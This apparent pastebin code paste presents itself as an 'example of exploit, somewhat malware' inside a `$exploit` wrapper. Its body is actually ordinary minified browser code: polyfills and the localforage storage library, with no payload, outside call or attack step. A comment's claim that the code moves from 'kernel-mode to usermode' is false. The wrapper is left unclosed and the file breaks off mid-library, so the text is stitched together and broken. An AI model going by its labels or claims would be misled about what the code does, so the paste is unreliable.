· 8 years ago · Mar 28, 2018, 05:48 PM
1// EXAMPLE OF EXPLOIT, SOMEWHAT MALWARE PLZ DONT SUE ME (ITS A SAMPLE!)
2var $exploit = {
3 version: function ()
4 {
5 if ($42.version == undefined) {
6 $alert.info("Exploit version 6.0.0;")
7 } else {
8 $alert.info("Exploit version 6.0.0; -42")
9 }
10 },
11 run: function (data)
12 {
13// This part is the kernel, it needs to be reintroduced, replaced by the application. It is untouched, yet brings it from kernel-mode, to usermode.
14 //js/polyfill/polyfill.js
15String.prototype.trim || (String.prototype.trim = function() {
16 return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, "")
17}), Date.now = Date.now || function() {
18 return +new Date
19},
20function() {
21 if (void 0 === window.performance && (window.performance = {}), !window.performance.now) {
22 var e = Date.now();
23 performance.timing && performance.timing.navigationStart && (e = performance.timing.navigationStart), window.performance.now = function() {
24 return Date.now() - e
25 }
26 }
27}(), String.prototype.endsWith || (String.prototype.endsWith = function(e, t) {
28 var n = this.toString();
29 ("number" != typeof t || !isFinite(t) || Math.floor(t) !== t || t > n.length) && (t = n.length), t -= e.length;
30 var o = n.indexOf(e, t);
31 return -1 !== o && o === t
32}), String.prototype.startsWith || (String.prototype.startsWith = function(e, t) {
33 return t = t || 0, this.substr(t, e.length) === e
34}),
35function() {
36 "use strict";
37 for (var e = 0, t = ["ms", "moz", "webkit", "o"], n = !(!window.performance || !window.performance.now), o = 0, r = t.length; o < r && !window.requestAnimationFrame; o += 1) window.requestAnimationFrame = window[t[o] + "RequestAnimationFrame"], window.cancelAnimationFrame = window[t[o] + "CancelAnimationFrame"] || window[t[o] + "CancelRequestAnimationFrame"];
38 if (!/iP(ad|hone|od).*OS 6/.test(window.navigator.userAgent) && window.requestAnimationFrame || (window.requestAnimationFrame = function(t, n) {
39 var o = (new Date).getTime(),
40 r = Math.max(0, 16 - (o - e)),
41 i = window.setTimeout(function() {
42 t(o + r)
43 }, r);
44 return e = o + r, i
45 }), window.cancelAnimationFrame || (window.cancelAnimationFrame = function(e) {
46 clearTimeout(e)
47 }), !n) {
48 var i = window.requestAnimationFrame,
49 a = +new Date;
50 window.requestAnimationFrame = function(e, t) {
51 i(function(t) {
52 return e(t < 1e12 ? t : t - a)
53 }, t)
54 }
55 }
56}(), String.prototype.repeat || (String.prototype.repeat = function(e) {
57 "use strict";
58 if (null == this) throw new TypeError("can't convert " + this + " to object");
59 var t = "" + this;
60 if ((e = +e) != e && (e = 0), e < 0) throw new RangeError("repeat count must be non-negative");
61 if (e == 1 / 0) throw new RangeError("repeat count must be less than infinity");
62 if (e = Math.floor(e), 0 == t.length || 0 == e) return "";
63 if (t.length * e >= 1 << 28) throw new RangeError("repeat count must not overflow maximum string size");
64 for (var n = ""; 1 == (1 & e) && (n += t), 0 != (e >>>= 1);) t += t;
65 return n
66}),
67function(e) {
68 "use strict";
69 e.console = e.console || {};
70 for (var t, n, o = e.console, r = {}, i = function() {}, a = "memory".split(","), s = "assert,clear,count,debug,dir,dirxml,error,exception,group,groupCollapsed,groupEnd,info,log,markTimeline,profile,profiles,profileEnd,show,table,time,timeEnd,timeline,timelineEnd,timeStamp,trace,warn".split(","); t = a.pop();) o[t] = o[t] || r;
71 for (; n = s.pop();) o[n] = o[n] || i
72}("undefined" == typeof window ? this : window), Object.assign || Object.defineProperty(Object, "assign", {
73 enumerable: !1,
74 configurable: !0,
75 writable: !0,
76 value: function(e) {
77 "use strict";
78 if (void 0 === e || null === e) throw new TypeError("Cannot convert first argument to object");
79 for (var t = Object(e), n = 1; n < arguments.length; n++) {
80 var o = arguments[n];
81 if (void 0 !== o && null !== o) {
82 o = Object(o);
83 for (var r = Object.keys(o), i = 0, a = r.length; i < a; i++) {
84 var s = r[i],
85 c = Object.getOwnPropertyDescriptor(o, s);
86 void 0 !== c && c.enumerable && (t[s] = o[s])
87 }
88 }
89 }
90 return t
91 }
92}),
93function(e, t) {
94 "use strict";
95
96 function n(e) {
97 "function" != typeof e && (e = new Function("" + e));
98 for (var t = new Array(arguments.length - 1), n = 0; n < t.length; n++) t[n] = arguments[n + 1];
99 var o = {
100 callback: e,
101 args: t
102 };
103 return c[s] = o, a(s), s++
104 }
105
106 function o(e) {
107 delete c[e]
108 }
109
110 function r(e) {
111 var n = e.callback,
112 o = e.args;
113 switch (o.length) {
114 case 0:
115 n();
116 break;
117 case 1:
118 n(o[0]);
119 break;
120 case 2:
121 n(o[0], o[1]);
122 break;
123 case 3:
124 n(o[0], o[1], o[2]);
125 break;
126 default:
127 n.apply(t, o)
128 }
129 }
130
131 function i(e) {
132 if (u) setTimeout(i, 0, e);
133 else {
134 var t = c[e];
135 if (t) {
136 u = !0;
137 try {
138 r(t)
139 } finally {
140 o(e), u = !1
141 }
142 }
143 }
144 }
145 if (!e.setImmediate) {
146 var a, s = 1,
147 c = {},
148 u = !1,
149 f = e.document,
150 m = Object.getPrototypeOf && Object.getPrototypeOf(e);
151 m = m && m.setTimeout ? m : e, "[object process]" === {}.toString.call(e.process) ? function() {
152 a = function(e) {
153 process.nextTick(function() {
154 i(e)
155 })
156 }
157 }() : function() {
158 if (e.postMessage && !e.importScripts) {
159 var t = !0,
160 n = e.onmessage;
161 return e.onmessage = function() {
162 t = !1
163 }, e.postMessage("", "*"), e.onmessage = n, t
164 }
165 }() ? function() {
166 var t = "setImmediate$" + Math.random() + "$",
167 n = function(n) {
168 n.source === e && "string" == typeof n.data && 0 === n.data.indexOf(t) && i(+n.data.slice(t.length))
169 };
170 e.addEventListener ? e.addEventListener("message", n, !1) : e.attachEvent("onmessage", n), a = function(n) {
171 e.postMessage(t + n, "*")
172 }
173 }() : e.MessageChannel ? function() {
174 var e = new MessageChannel;
175 e.port1.onmessage = function(e) {
176 i(e.data)
177 }, a = function(t) {
178 e.port2.postMessage(t)
179 }
180 }() : f && "onreadystatechange" in f.createElement("script") ? function() {
181 var e = f.documentElement;
182 a = function(t) {
183 var n = f.createElement("script");
184 n.onreadystatechange = function() {
185 i(t), n.onreadystatechange = null, e.removeChild(n), n = null
186 }, e.appendChild(n)
187 }
188 }() : function() {
189 a = function(e) {
190 setTimeout(i, 0, e)
191 }
192 }(), m.setImmediate = n, m.clearImmediate = o
193 }
194}("undefined" == typeof self ? "undefined" == typeof global ? this : global : self);
195//os/vendor/localforage.js
196! function(e) {
197if ("object" == typeof exports && "undefined" != typeof module) module.exports = e();
198else if ("function" == typeof define && define.amd) define([], e);
199else {
200 ("undefined" != typeof window ? window : "undefined" != typeof global ? global : "undefined" != typeof self ? self : this).localforage = e()
201}
202}(function() {
203return function e(t, n, r) {
204 function o(a, u) {
205 if (!n[a]) {
206 if (!t[a]) {
207 var c = "function" == typeof require && require;
208 if (!u && c) return c(a, !0);
209 if (i) return i(a, !0);
210 var f = new Error("Cannot find module '" + a + "'");
211 throw f.code = "MODULE_NOT_FOUND", f
212 }
213 var s = n[a] = {
214 exports: {}
215 };
216 t[a][0].call(s.exports, function(e) {
217 var n = t[a][1][e];
218 return o(n || e)
219 }, s, s.exports, e, t, n, r)
220 }
221 return n[a].exports
222 }
223 for (var i = "function" == typeof require && require, a = 0; a < r.length; a++) o(r[a]);
224 return o
225}({
226 1: [function(e, t, n) {
227 (function(e) {
228 "use strict";
229
230 function n() {
231 s = !0;
232 for (var e, t, n = l.length; n;) {
233 for (t = l, l = [], e = -1; ++e < n;) t[e]();
234 n = l.length
235 }
236 s = !1
237 }
238
239 function r(e) {
240 1 !== l.push(e) || s || o()
241 }
242 var o, i = e.MutationObserver || e.WebKitMutationObserver;
243 if (i) {
244 var a = 0,
245 u = new i(n),
246 c = e.document.createTextNode("");
247 u.observe(c, {
248 characterData: !0
249 }), o = function() {
250 c.data = a = ++a % 2
251 }
252 } else if (e.setImmediate || void 0 === e.MessageChannel) o = "document" in e && "onreadystatechange" in e.document.createElement("script") ? function() {
253 var t = e.document.createElement("script");
254 t.onreadystatechange = function() {
255 n(), t.onreadystatechange = null, t.parentNode.removeChild(t), t = null
256 }, e.document.documentElement.appendChild(t)
257 } : function() {
258 setTimeout(n, 0)
259 };
260 else {
261 var f = new e.MessageChannel;
262 f.port1.onmessage = n, o = function() {
263 f.port2.postMessage(0)
264 }
265 }
266 var s, l = [];
267 t.exports = r
268 }).call(this, "undefined" != typeof global ? global : "undefined" != typeof self ? self : "undefined" != typeof window ? window : {})
269 }, {}],
270 2: [function(e, t, n) {
271 "use strict";
272
273 function r() {}
274
275 function o(e) {
276 if ("function" != typeof e) throw new TypeError("resolver must be a function");
277 this.state = g, this.queue = [], this.outcome = void 0, e !== r && c(this, e)
278 }
279
280 function i(e, t, n) {
281 this.promise = e, "function" == typeof t && (this.onFulfilled = t, this.callFulfilled = this.otherCallFulfilled), "function" == typeof n && (this.onRejected = n, this.callRejected = this.otherCallRejected)
282 }
283
284 function a(e, t, n) {
285 h(function() {
286 var r;
287 try {
288 r = t(n)
289 } catch (t) {
290 return y.reject(e, t)
291 }
292 r === e ? y.reject(e, new TypeError("Cannot resolve promise with itself")) : y.resolve(e, r)
293 })
294 }
295
296 function u(e) {
297 var t = e && e.then;
298 if (e && "object" == typeof e && "function" == typeof t) return function() {
299 t.apply(e, arguments)
300 }
301 }
302
303 function c(e, t) {
304 function n(t) {
305 i || (i = !0, y.reject(e, t))
306 }
307
308 function r(t) {
309 i || (i = !0, y.resolve(e, t))
310 }
311
312 function o() {
313 t(r, n)
314 }
315 var i = !1,
316 a = f(o);
317 "error" === a.status && n(a.value)
318 }
319
320 function f(e, t) {
321 var n = {};
322 try {
323 n.value = e(t), n.status = "success"
324 } catch (e) {
325 n.status = "error", n.value = e
326 }
327 return n
328 }
329
330 function s(e) {
331 return e instanceof this ? e : y.resolve(new this(r), e)
332 }
333
334 function l(e) {
335 var t = new this(r);
336 return y.reject(t, e)
337 }
338
339 function d(e) {
340 var t = this;
341 if ("[object Array]" !== Object.prototype.toString.call(e)) return this.reject(new TypeError("must be an array"));
342 var n = e.length,
343 o = !1;
344 if (!n) return this.resolve([]);
345 for (var i = new Array(n), a = 0, u = -1, c = new this(r); ++u < n;) ! function(e, r) {
346 function u(e) {
347 i[r] = e, ++a !== n || o || (o = !0, y.resolve(c, i))
348 }
349 t.resolve(e).then(u, function(e) {
350 o || (o = !0, y.reject(c, e))
351 })
352 }(e[u], u);
353 return c
354 }
355
356 function v(e) {
357 var t = this;
358 if ("[object Array]" !== Object.prototype.toString.call(e)) return this.reject(new TypeError("must be an array"));
359 var n = e.length,
360 o = !1;
361 if (!n) return this.resolve([]);
362 for (var i = -1, a = new this(r); ++i < n;) ! function(e) {
363 t.resolve(e).then(function(e) {
364 o || (o = !0, y.resolve(a, e))
365 }, function(e) {
366 o || (o = !0, y.reject(a, e))
367 })
368 }(e[i]);
369 return a
370 }
371 var h = e(1),
372 y = {},
373 p = ["REJECTED"],
374 b = ["FULFILLED"],
375 g = ["PENDING"];
376 t.exports = n = o, o.prototype.catch = function(e) {
377 return this.then(null, e)
378 }, o.prototype.then = function(e, t) {
379 if ("function" != typeof e && this.state === b || "function" != typeof t && this.state === p) return this;
380 var n = new this.constructor(r);
381 return this.state !== g ? a(n, this.state === b ? e : t, this.outcome) : this.queue.push(new i(n, e, t)), n
382 }, i.prototype.callFulfilled = function(e) {
383 y.resolve(this.promise, e)
384 }, i.prototype.otherCallFulfilled = function(e) {
385 a(this.promise, this.onFulfilled, e)
386 }, i.prototype.callRejected = function(e) {
387 y.reject(this.promise, e)
388 }, i.prototype.otherCallRejected = function(e) {
389 a(this.promise, this.onRejected, e)
390 }, y.resolve = function(e, t) {
391 var n = f(u, t);
392 if ("error" === n.status) return y.reject(e, n.value);
393 var r = n.value;
394 if (r) c(e, r);
395 else {
396 e.state = b, e.outcome = t;
397 for (var o = -1, i = e.queue.length; ++o < i;) e.queue[o].callFulfilled(t)
398 }
399 return e
400 }, y.reject = function(e, t) {
401 e.state = p, e.outcome = t;
402 for (var n = -1, r = e.queue.length; ++n < r;) e.queue[n].callRejected(t);
403 return e
404 }, n.resolve = s, n.reject = l, n.all = d, n.race = v
405 }, {
406 1: 1
407 }],
408 3: [function(e, t, n) {
409 (function(t) {
410 "use strict";
411 "function" != typeof t.Promise && (t.Promise = e(2))
412 }).call(this, "undefined" != typeof global ? global : "undefined" != typeof self ? self : "undefined" != typeof window ? window : {})
413 }, {
414 2: 2
415 }],
416 4: [function(e, t, n) {
417 "use strict";
418
419 function r(e, t) {
420 if (!(e instanceof t)) throw new TypeError("Cannot call a class as a function")
421 }
422
423 function o(e, t) {
424 e = e || [], t = t || {};
425 try {
426 return new Blob(e, t)
427 } catch (o) {
428 if ("TypeError" !== o.name) throw o;
429 for (var n = new("undefined" != typeof BlobBuilder ? BlobBuilder : "undefined" != typeof MSBlobBuilder ? MSBlobBuilder : "undefined" != typeof MozBlobBuilder ? MozBlobBuilder : WebKitBlobBuilder), r = 0; r < e.length; r += 1) n.append(e[r]);
430 return n.getBlob(t.type)
431 }
432 }
433
434 function i(e, t) {
435 t && e.then(function(e) {
436 t(null, e)
437 }, function(e) {
438 t(e)
439 })
440 }
441
442 function a(e, t, n) {
443 "function" == typeof t && e.then(t), "function" == typeof n && e.catch(n)
444 }
445
446 function u(e) {
447 for (var t = e.length, n = new ArrayBuffer(t), r = new Uint8Array(n), o = 0; o < t; o++) r[o] = e.charCodeAt(o);
448 return n
449 }
450
451 function c(e) {
452 return new ce(function(t) {
453 var n = e.transaction(fe, de),
454 r = o([""]);
455 n.objectStore(fe).put(r, "key"), n.onabort = function(e) {
456 e.preventDefault(), e.stopPropagation(), t(!1)
457 }, n.oncomplete = function() {
458 var e = navigator.userAgent.match(/Chrome\/(\d+)/),
459 n = navigator.userAgent.match(/Edge\//);
460 t(n || !e || parseInt(e[1], 10) >= 43)
461 }
462 }).catch(function() {
463 return !1
464 })
465 }
466
467 function f(e) {
468 return "boolean" == typeof ae ? ce.resolve(ae) : c(e).then(function(e) {
469 return ae = e
470 })
471 }
472
473 function s(e) {
474 var t = ue[e.name],
475 n = {};
476 n.promise = new ce(function(e) {
477 n.resolve = e
478 }), t.deferredOperations.push(n), t.dbReady ? t.dbReady = t.dbReady.then(function() {
479 return n.promise
480 }) : t.dbReady = n.promise
481 }
482
483 function l(e) {
484 var t = ue[e.name].deferredOperations.pop();
485 t && t.resolve()
486 }
487
488 function d(e, t) {
489 var n = ue[e.name].deferredOperations.pop();
490 n && n.reject(t)
491 }
492
493 function v(e, t) {
494 return new ce(function(n, r) {
495 if (e.db) {
496 if (!t) return n(e.db);
497 s(e), e.db.close()
498 }
499 var o = [e.name];
500 t && o.push(e.version);
501 var i = ie.open.apply(ie, o);
502 t && (i.onupgradeneeded = function(t) {
503 var n = i.result;
504 try {
505 n.createObjectStore(e.storeName), t.oldVersion <= 1 && n.createObjectStore(fe)
506 } catch (n) {
507 if ("ConstraintError" !== n.name) throw n;
508 console.warn('The database "' + e.name + '" has been upgraded from version ' + t.oldVersion + " to version " + t.newVersion + ', but the storage "' + e.storeName + '" already exists.')
509 }
510 }), i.onerror = function(e) {
511 e.preventDefault(), r(i.error)
512 }, i.onsuccess = function() {
513 n(i.result), l(e)
514 }
515 })
516 }
517
518 function h(e) {
519 return v(e, !1)
520 }
521
522 function y(e) {
523 return v(e, !0)
524 }
525
526 function p(e, t) {
527 if (!e.db) return !0;
528 var n = !e.db.objectStoreNames.contains(e.storeName),
529 r = e.version < e.db.version,
530 o = e.version > e.db.version;
531 if (r && (e.version !== t && console.warn('The database "' + e.name + "\" can't be downgraded from version " + e.db.version + " to version " + e.version + "."), e.version = e.db.version), o || n) {
532 if (n) {
533 var i = e.db.version + 1;
534 i > e.version && (e.version = i)
535 }
536 return !0
537 }
538 return !1
539 }
540
541 function b(e) {
542 return new ce(function(t, n) {
543 var r = new FileReader;
544 r.onerror = n, r.onloadend = function(n) {
545 var r = btoa(n.target.result || "");
546 t({
547 __local_forage_encoded_blob: !0,
548 data: r,
549 type: e.type
550 })
551 }, r.readAsBinaryString(e)
552 })
553 }
554
555 function g(e) {
556 return o([u(atob(e.data))], {
557 type: e.type
558 })
559 }
560
561 function m(e) {
562 return e && e.__local_forage_encoded_blob
563 }
564
565 function _(e) {
566 var t = this,
567 n = t._initReady().then(function() {
568 var e = ue[t._dbInfo.name];
569 if (e && e.dbReady) return e.dbReady
570 });
571 return a(n, e, e), n
572 }
573
574 function w(e) {
575 s(e);
576 for (var t = ue[e.name].forages, n = 0; n < t.length; n++) t[n]._dbInfo.db && (t[n]._dbInfo.db.close(), t[n]._dbInfo.db = null);
577 return v(e, !1).then(function(e) {
578 for (var n = 0; n < t.length; n++) t[n]._dbInfo.db = e
579 }).catch(function(t) {
580 throw d(e, t), t
581 })
582 }
583
584 function S(e, t, n) {
585 try {
586 var r = e.db.transaction(e.storeName, t);
587 n(null, r)
588 } catch (r) {
589 if (!e.db || "InvalidStateError" === r.name) return w(e).then(function() {
590 var r = e.db.transaction(e.storeName, t);
591 n(null, r)
592 });
593 n(r)
594 }
595 }
596
597 function I(e) {
598 function t() {
599 return ce.resolve()
600 }
601 var n = this,
602 r = {
603 db: null
604 };
605 if (e)
606 for (var o in e) r[o] = e[o];
607 ue || (ue = {});
608 var i = ue[r.name];
609 i || (i = {
610 forages: [],
611 db: null,
612 dbReady: null,
613 deferredOperations: []
614 }, ue[r.name] = i), i.forages.push(n), n._initReady || (n._initReady = n.ready, n.ready = _);
615 for (var a = [], u = 0; u < i.forages.length; u++) {
616 var c = i.forages[u];
617 c !== n && a.push(c._initReady().catch(t))
618 }
619 var f = i.forages.slice(0);
620 return ce.all(a).then(function() {
621 return r.db = i.db, h(r)
622 }).then(function(e) {
623 return r.db = e, p(r, n._defaultConfig.version) ? y(r) : e
624 }).then(function(e) {
625 r.db = i.db = e, n._dbInfo = r;
626 for (var t = 0; t < f.length; t++) {
627 var o = f[t];
628 o !== n && (o._dbInfo.db = r.db, o._dbInfo.version = r.version)
629 }
630 })
631 }
632
633 function E(e, t) {
634 var n = this;
635 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
636 var r = new ce(function(t, r) {
637 n.ready().then(function() {
638 S(n._dbInfo, le, function(o, i) {
639 if (o) return r(o);
640 try {
641 var a = i.objectStore(n._dbInfo.storeName).get(e);
642 a.onsuccess = function() {
643 var e = a.result;
644 void 0 === e && (e = null), m(e) && (e = g(e)), t(e)
645 }, a.onerror = function() {
646 r(a.error)
647 }
648 } catch (e) {
649 r(e)
650 }
651 })
652 }).catch(r)
653 });
654 return i(r, t), r
655 }
656
657 function A(e, t) {
658 var n = this,
659 r = new ce(function(t, r) {
660 n.ready().then(function() {
661 S(n._dbInfo, le, function(o, i) {
662 if (o) return r(o);
663 try {
664 var a = i.objectStore(n._dbInfo.storeName).openCursor(),
665 u = 1;
666 a.onsuccess = function() {
667 var n = a.result;
668 if (n) {
669 var r = n.value;
670 m(r) && (r = g(r));
671 var o = e(r, n.key, u++);
672 void 0 !== o ? t(o) : n.continue()
673 } else t()
674 }, a.onerror = function() {
675 r(a.error)
676 }
677 } catch (e) {
678 r(e)
679 }
680 })
681 }).catch(r)
682 });
683 return i(r, t), r
684 }
685
686 function D(e, t, n) {
687 var r = this;
688 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
689 var o = new ce(function(n, o) {
690 var i;
691 r.ready().then(function() {
692 return i = r._dbInfo, "[object Blob]" === se.call(t) ? f(i.db).then(function(e) {
693 return e ? t : b(t)
694 }) : t
695 }).then(function(t) {
696 S(r._dbInfo, de, function(i, a) {
697 if (i) return o(i);
698 try {
699 var u = a.objectStore(r._dbInfo.storeName).put(t, e);
700 null === t && (t = void 0), a.oncomplete = function() {
701 void 0 === t && (t = null), n(t)
702 }, a.onabort = a.onerror = function() {
703 var e = u.error ? u.error : u.transaction.error;
704 o(e)
705 }
706 } catch (e) {
707 o(e)
708 }
709 })
710 }).catch(o)
711 });
712 return i(o, n), o
713 }
714
715 function j(e, t) {
716 var n = this;
717 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
718 var r = new ce(function(t, r) {
719 n.ready().then(function() {
720 S(n._dbInfo, de, function(o, i) {
721 if (o) return r(o);
722 try {
723 var a = i.objectStore(n._dbInfo.storeName).delete(e);
724 i.oncomplete = function() {
725 t()
726 }, i.onerror = function() {
727 r(a.error)
728 }, i.onabort = function() {
729 var e = a.error ? a.error : a.transaction.error;
730 r(e)
731 }
732 } catch (e) {
733 r(e)
734 }
735 })
736 }).catch(r)
737 });
738 return i(r, t), r
739 }
740
741 function O(e) {
742 var t = this,
743 n = new ce(function(e, n) {
744 t.ready().then(function() {
745 S(t._dbInfo, de, function(r, o) {
746 if (r) return n(r);
747 try {
748 var i = o.objectStore(t._dbInfo.storeName).clear();
749 o.oncomplete = function() {
750 e()
751 }, o.onabort = o.onerror = function() {
752 var e = i.error ? i.error : i.transaction.error;
753 n(e)
754 }
755 } catch (e) {
756 n(e)
757 }
758 })
759 }).catch(n)
760 });
761 return i(n, e), n
762 }
763
764 function B(e) {
765 var t = this,
766 n = new ce(function(e, n) {
767 t.ready().then(function() {
768 S(t._dbInfo, le, function(r, o) {
769 if (r) return n(r);
770 try {
771 var i = o.objectStore(t._dbInfo.storeName).count();
772 i.onsuccess = function() {
773 e(i.result)
774 }, i.onerror = function() {
775 n(i.error)
776 }
777 } catch (e) {
778 n(e)
779 }
780 })
781 }).catch(n)
782 });
783 return i(n, e), n
784 }
785
786 function R(e, t) {
787 var n = this,
788 r = new ce(function(t, r) {
789 e < 0 ? t(null) : n.ready().then(function() {
790 S(n._dbInfo, le, function(o, i) {
791 if (o) return r(o);
792 try {
793 var a = !1,
794 u = i.objectStore(n._dbInfo.storeName).openCursor();
795 u.onsuccess = function() {
796 var n = u.result;
797 n ? 0 === e ? t(n.key) : a ? t(n.key) : (a = !0, n.advance(e)) : t(null)
798 }, u.onerror = function() {
799 r(u.error)
800 }
801 } catch (e) {
802 r(e)
803 }
804 })
805 }).catch(r)
806 });
807 return i(r, t), r
808 }
809
810 function k(e) {
811 var t = this,
812 n = new ce(function(e, n) {
813 t.ready().then(function() {
814 S(t._dbInfo, le, function(r, o) {
815 if (r) return n(r);
816 try {
817 var i = o.objectStore(t._dbInfo.storeName).openCursor(),
818 a = [];
819 i.onsuccess = function() {
820 var t = i.result;
821 t ? (a.push(t.key), t.continue()) : e(a)
822 }, i.onerror = function() {
823 n(i.error)
824 }
825 } catch (e) {
826 n(e)
827 }
828 })
829 }).catch(n)
830 });
831 return i(n, e), n
832 }
833
834 function x(e) {
835 var t, n, r, o, i, a = .75 * e.length,
836 u = e.length,
837 c = 0;
838 "=" === e[e.length - 1] && (a--, "=" === e[e.length - 2] && a--);
839 var f = new ArrayBuffer(a),
840 s = new Uint8Array(f);
841 for (t = 0; t < u; t += 4) n = he.indexOf(e[t]), r = he.indexOf(e[t + 1]), o = he.indexOf(e[t + 2]), i = he.indexOf(e[t + 3]), s[c++] = n << 2 | r >> 4, s[c++] = (15 & r) << 4 | o >> 2, s[c++] = (3 & o) << 6 | 63 & i;
842 return f
843 }
844
845 function N(e) {
846 var t, n = new Uint8Array(e),
847 r = "";
848 for (t = 0; t < n.length; t += 3) r += he[n[t] >> 2], r += he[(3 & n[t]) << 4 | n[t + 1] >> 4], r += he[(15 & n[t + 1]) << 2 | n[t + 2] >> 6], r += he[63 & n[t + 2]];
849 return n.length % 3 == 2 ? r = r.substring(0, r.length - 1) + "=" : n.length % 3 == 1 && (r = r.substring(0, r.length - 2) + "=="), r
850 }
851
852 function C(e, t) {
853 var n = "";
854 if (e && (n = ke.call(e)), e && ("[object ArrayBuffer]" === n || e.buffer && "[object ArrayBuffer]" === ke.call(e.buffer))) {
855 var r, o = be;
856 e instanceof ArrayBuffer ? (r = e, o += me) : (r = e.buffer, "[object Int8Array]" === n ? o += we : "[object Uint8Array]" === n ? o += Se : "[object Uint8ClampedArray]" === n ? o += Ie : "[object Int16Array]" === n ? o += Ee : "[object Uint16Array]" === n ? o += De : "[object Int32Array]" === n ? o += Ae : "[object Uint32Array]" === n ? o += je : "[object Float32Array]" === n ? o += Oe : "[object Float64Array]" === n ? o += Be : t(new Error("Failed to get type for BinaryArray"))), t(o + N(r))
857 } else if ("[object Blob]" === n) {
858 var i = new FileReader;
859 i.onload = function() {
860 var n = ye + e.type + "~" + N(this.result);
861 t(be + _e + n)
862 }, i.readAsArrayBuffer(e)
863 } else try {
864 t(JSON.stringify(e))
865 } catch (n) {
866 console.error("Couldn't convert value into a JSON string: ", e), t(null, n)
867 }
868 }
869
870 function L(e) {
871 if (e.substring(0, ge) !== be) return JSON.parse(e);
872 var t, n = e.substring(Re),
873 r = e.substring(ge, Re);
874 if (r === _e && pe.test(n)) {
875 var i = n.match(pe);
876 t = i[1], n = n.substring(i[0].length)
877 }
878 var a = x(n);
879 switch (r) {
880 case me:
881 return a;
882 case _e:
883 return o([a], {
884 type: t
885 });
886 case we:
887 return new Int8Array(a);
888 case Se:
889 return new Uint8Array(a);
890 case Ie:
891 return new Uint8ClampedArray(a);
892 case Ee:
893 return new Int16Array(a);
894 case De:
895 return new Uint16Array(a);
896 case Ae:
897 return new Int32Array(a);
898 case je:
899 return new Uint32Array(a);
900 case Oe:
901 return new Float32Array(a);
902 case Be:
903 return new Float64Array(a);
904 default:
905 throw new Error("Unkown type: " + r)
906 }
907 }
908
909 function T(e) {
910 var t = this,
911 n = {
912 db: null
913 };
914 if (e)
915 for (var r in e) n[r] = "string" != typeof e[r] ? e[r].toString() : e[r];
916 var o = new ce(function(e, r) {
917 try {
918 n.db = openDatabase(n.name, String(n.version), n.description, n.size)
919 } catch (e) {
920 return r(e)
921 }
922 n.db.transaction(function(o) {
923 o.executeSql("CREATE TABLE IF NOT EXISTS " + n.storeName + " (id INTEGER PRIMARY KEY, key unique, value)", [], function() {
924 t._dbInfo = n, e()
925 }, function(e, t) {
926 r(t)
927 })
928 })
929 });
930 return n.serializer = xe, o
931 }
932
933 function F(e, t) {
934 var n = this;
935 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
936 var r = new ce(function(t, r) {
937 n.ready().then(function() {
938 var o = n._dbInfo;
939 o.db.transaction(function(n) {
940 n.executeSql("SELECT * FROM " + o.storeName + " WHERE key = ? LIMIT 1", [e], function(e, n) {
941 var r = n.rows.length ? n.rows.item(0).value : null;
942 r && (r = o.serializer.deserialize(r)), t(r)
943 }, function(e, t) {
944 r(t)
945 })
946 })
947 }).catch(r)
948 });
949 return i(r, t), r
950 }
951
952 function z(e, t) {
953 var n = this,
954 r = new ce(function(t, r) {
955 n.ready().then(function() {
956 var o = n._dbInfo;
957 o.db.transaction(function(n) {
958 n.executeSql("SELECT * FROM " + o.storeName, [], function(n, r) {
959 for (var i = r.rows, a = i.length, u = 0; u < a; u++) {
960 var c = i.item(u),
961 f = c.value;
962 if (f && (f = o.serializer.deserialize(f)), void 0 !== (f = e(f, c.key, u + 1))) return void t(f)
963 }
964 t()
965 }, function(e, t) {
966 r(t)
967 })
968 })
969 }).catch(r)
970 });
971 return i(r, t), r
972 }
973
974 function M(e, t, n, r) {
975 var o = this;
976 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
977 var a = new ce(function(i, a) {
978 o.ready().then(function() {
979 void 0 === t && (t = null);
980 var u = t,
981 c = o._dbInfo;
982 c.serializer.serialize(t, function(t, f) {
983 f ? a(f) : c.db.transaction(function(n) {
984 n.executeSql("INSERT OR REPLACE INTO " + c.storeName + " (key, value) VALUES (?, ?)", [e, t], function() {
985 i(u)
986 }, function(e, t) {
987 a(t)
988 })
989 }, function(t) {
990 if (t.code === t.QUOTA_ERR) {
991 if (r > 0) return void i(M.apply(o, [e, u, n, r - 1]));
992 a(t)
993 }
994 })
995 })
996 }).catch(a)
997 });
998 return i(a, n), a
999 }
1000
1001 function P(e, t, n) {
1002 return M.apply(this, [e, t, n, 1])
1003 }
1004
1005 function q(e, t) {
1006 var n = this;
1007 "string" != typeof e && (console.warn(e + " used as a key, but it is not a string."), e = String(e));
1008 var r = new ce(function(t, r) {
1009 n.ready().then(function() {
1010 var o = n._dbInfo;
1011 o.db.transaction(function(n) {
1012 n.executeSql("DELETE FROM " + o.storeName + " WHERE key = ?", [e], function() {
1013 t()
1014 }, function(e, t) {
1015 r(t)
1016 })
1017 })
1018 }).catch(r)
1019 });
1020 return i(r, t), r
1021 }
1022
1023 function U(e) {
1024 var t = this,
1025 n = new ce(function(e, n) {
1026 t.ready().then(function() {
1027 var r = t._dbInfo;
1028 r.db.transaction(function(t) {
1029 t.executeSql("DELETE FROM " + r.storeName, [], function() {
1030 e()
1031 }, function(e, t) {
1032 n(t)
1033 })
1034 })
1035 }).catch(n)
1036 });
1037 return i(n, e), n
1038 }
1039
1040 function W(e) {
1041 var t = this,
1042 n = new ce(function(e, n) {
1043 t.ready().then(function() {
1044 var r = t._dbInfo;
1045 r.db.transaction(function(t) {
1046 t.executeSql("SELECT COUNT(key) as c FROM " + r.storeName, [], function(t, n) {
1047 var r = n.rows.item(0).c;
1048 e(r)
1049 }, function(e, t) {
1050 n(t)
1051 })
1052 })
1053 }).catch(n)
1054 });
1055 return i(n, e), n
1056 }
1057
1058 function Q(e, t) {
1059 var n = this,
1060 r = new ce(function(t, r) {
1061 n.ready().then(function() {
1062 var o = n._dbInfo;
1063 o.db.transaction(function(n) {
1064 n.executeSql("SELECT key FROM " + o.storeName + " WHERE id = ? LIMIT 1", [e + 1], function(e, n) {
1065 var r = n.rows.length ? n.rows.item(0).key : null;
1066 t(r)
1067 }, function(e, t) {
1068 r(t)
1069 })
1070 })
1071 }).catch(r)
1072 });
1073 return i(r, t), r
1074 }
1075
